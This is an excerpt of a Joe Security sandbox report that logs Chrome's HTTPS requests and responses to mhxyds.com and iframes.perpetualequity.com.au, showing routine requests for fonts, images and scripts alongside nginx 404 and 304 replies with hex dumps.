65 2f 5f 6d 6f 64 75 6c 65 2f 72 31 43 32 53 48 4e 49 74 6b 79 
Data Ascii:          </form>     </div><script type="text/javascript" src="/FormBuilder/_Resource/_module/r1C2SHNItkyshZ
b6YUZ8Ug/js/iframeResizer.contentWindow.min.js"></script><script type="text/javascript" src="/FormBuilder/_Res
ource/_module/r1C2SHNItky

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

348 118.27.105.118 443 192.168.11.20 62108 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:31 UTC 14823 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:31 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:31 UTC 14823 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

349 192.168.11.20 52524 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:31 UTC 14824 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

35 118.27.105.118 443 192.168.11.20 61720 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:42 UTC 459 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:41 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:42 UTC 459 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

350 192.168.11.20 53172 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:31 UTC 14825 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

351 192.168.11.20 64134 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:32 UTC 14833 OUT GET /img/logo.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

352 192.168.11.20 53487 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:32 UTC 14834 OUT GET /jpg/website-image-1_1665x550950a.jpg?w=1000&hash=3F14C5A22685B5499B8C0FC7F33992E313FEA968 
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Sun, 05 Feb 2017 14:32:26 GMT
If-None-Match: "5897377a-2ddd5"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

353 192.168.11.20 64133 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:32 UTC 14834 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

354 118.27.105.118 443 192.168.11.20 52524 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:32 UTC 14853 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:32 GMT
Content-Type: text/html
Content-Length: 548
Connection: close
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2022-08-11 03:43:32 UTC 14853 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

355 118.27.105.118 443 192.168.11.20 53172 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:32 UTC 14854 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:32 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:32 UTC 14854 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

356 118.27.105.118 443 192.168.11.20 64134 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:32 UTC 14854 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:32 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:32 UTC 14854 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

357 118.27.105.118 443 192.168.11.20 53487 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:32 UTC 14855 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:32 GMT
Last-Modified: Sun, 05 Feb 2017 14:32:26 GMT
Connection: close
ETag: "5897377a-2ddd5"
Expires: Sat, 10 Sep 2022 03:43:32 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

358 118.27.105.118 443 192.168.11.20 64133 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:32 UTC 14855 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:32 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:32 UTC 14855 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

359 192.168.11.20 58017 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:32 UTC 14856 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

36 118.27.105.118 443 192.168.11.20 65104 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:42 UTC 460 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:41 GMT
Content-Type: application/javascript
Content-Length: 11909
Last-Modified: Mon, 12 Dec 2016 08:20:32 GMT
Connection: close
Vary: Accept-Encoding
ETag: "584e5dd0-2e85"
Expires: Thu, 11 Aug 2022 15:42:41 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:42 UTC 460 IN Data Raw: 2f 2a 21 20 69 46 72 61 6d 65 20 52 65 73 69 7a 65 72 20 28 69 66 72 61 6d 65 53 69 7a 65 72 2e 6d 69 6e 
2e 6a 73 20 29 20 2d 20 76 33 2e 35 2e 35 20 2d 20 32 30 31 36 2d 30 36 2d 31 36 0a 20 2a 20 20 44 65 73 63 3a 20 46 
6f 72 63 65 20 63 72 6f 73 73 20 64 6f 6d 61 69 6e 20 69 66 72 61 6d 65 73 20 74 6f 20 73 69 7a 65 20 74 6f 20 63 6f 6e 
74 65 6e 74 2e 0a 20 2a 20 20 52 65 71 75 69 72 65 73 3a 20 69 66 72 61 6d 65 52 65 73 69 7a 65 72 2e 63 6f 6e 74 65 
6e 74 57 69 6e 64 6f 77 2e 6d 69 6e 2e 6a 73 20 74 6f 20 62 65 20 6c 6f 61 64 65 64 20 69 6e 74 6f 20 74 68 65 20 74 61 
72 67 65 74 20 66 72 61 6d 65 2e 0a 20 2a 20 20 43 6f 70 79 72 69 67 68 74 3a 20 28 63 29 20 32 30 31 36 20 44 61 76 
69 64 20 4a 2e 20 42 72 61 64 73 68 61 77 20 2d 20 64 61 76 65 40 62 
Data Ascii: /*! iFrame Resizer (iframeSizer.min.js ) - v3.5.5 - 2016-06-16 *  Desc: Force cross domain iframes to size to 
content. *  Requires: iframeResizer.contentWindow.min.js to be loaded into the target frame. *  Copyright: (c) 2016 David 
J. Bradshaw - dave@b

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

360 192.168.11.20 64122 103.15.210.63 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14857 OUT GET /_Resource/_module/1tsuXa2q3UCbZ_-sdLg1BQ/PIC-iframe-styles_1.css HTTP/1.1
Host: iframes.perpetualequity.com.au
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

361 192.168.11.20 54108 103.15.210.63 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14858 OUT GET /Scripts/js_list_compressed_2_2_8227.js?20220717081501 HTTP/1.1
Host: iframes.perpetualequity.com.au
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

362 192.168.11.20 60152 103.15.210.63 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Copyright Joe Security LLC 2022 Page 268 of 310



Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14858 OUT GET /_Modules/CorporateActions/PriceVolumeChartModule/priceVolumeChart.js HTTP/1.1
Host: iframes.perpetualequity.com.au
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

363 192.168.11.20 50955 103.15.210.63 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14859 OUT GET /FormBuilder/_Resource/_module/r1C2SHNItkyshZb6YUZ8Ug/js/iframeResizer.contentWindow.min.js HTTP/1.1
Host: iframes.perpetualequity.com.au
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

364 192.168.11.20 52001 103.15.210.63 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14859 OUT GET /_Modules/CorporateActions/PriceVolumeChartModule/priceVolumeChartInit.js HTTP/1.1
Host: iframes.perpetualequity.com.au
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

365 192.168.11.20 56288 103.15.210.63 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:33 UTC 14860 OUT GET /FormBuilder/_Resource/_module/r1C2SHNItkyshZb6YUZ8Ug/js/PIC-iframe-scripts.js HTTP/1.1
Host: iframes.perpetualequity.com.au
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

366 192.168.11.20 58018 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14860 OUT GET /jpg/understanding-the-lic-structure-746x419-1f46b.jpg?mw=285&hash=C8C36499F66CAC27725EBD92450D8
783215D5F03 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Wed, 21 Oct 2020 17:26:50 GMT
If-None-Match: "5f906f5a-587b"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

367 192.168.11.20 58019 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14861 OUT GET /jpg/perpetual-knowledge-bank-series-reporting-season-746x4190ae6.jpg?mw=285&hash=CC9B6A2517D651
7FA98B06A38A407613637A6C0F HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Thu, 17 Sep 2020 14:28:00 GMT
If-None-Match: "5f637270-5065"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

368 118.27.105.118 443 192.168.11.20 58017 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

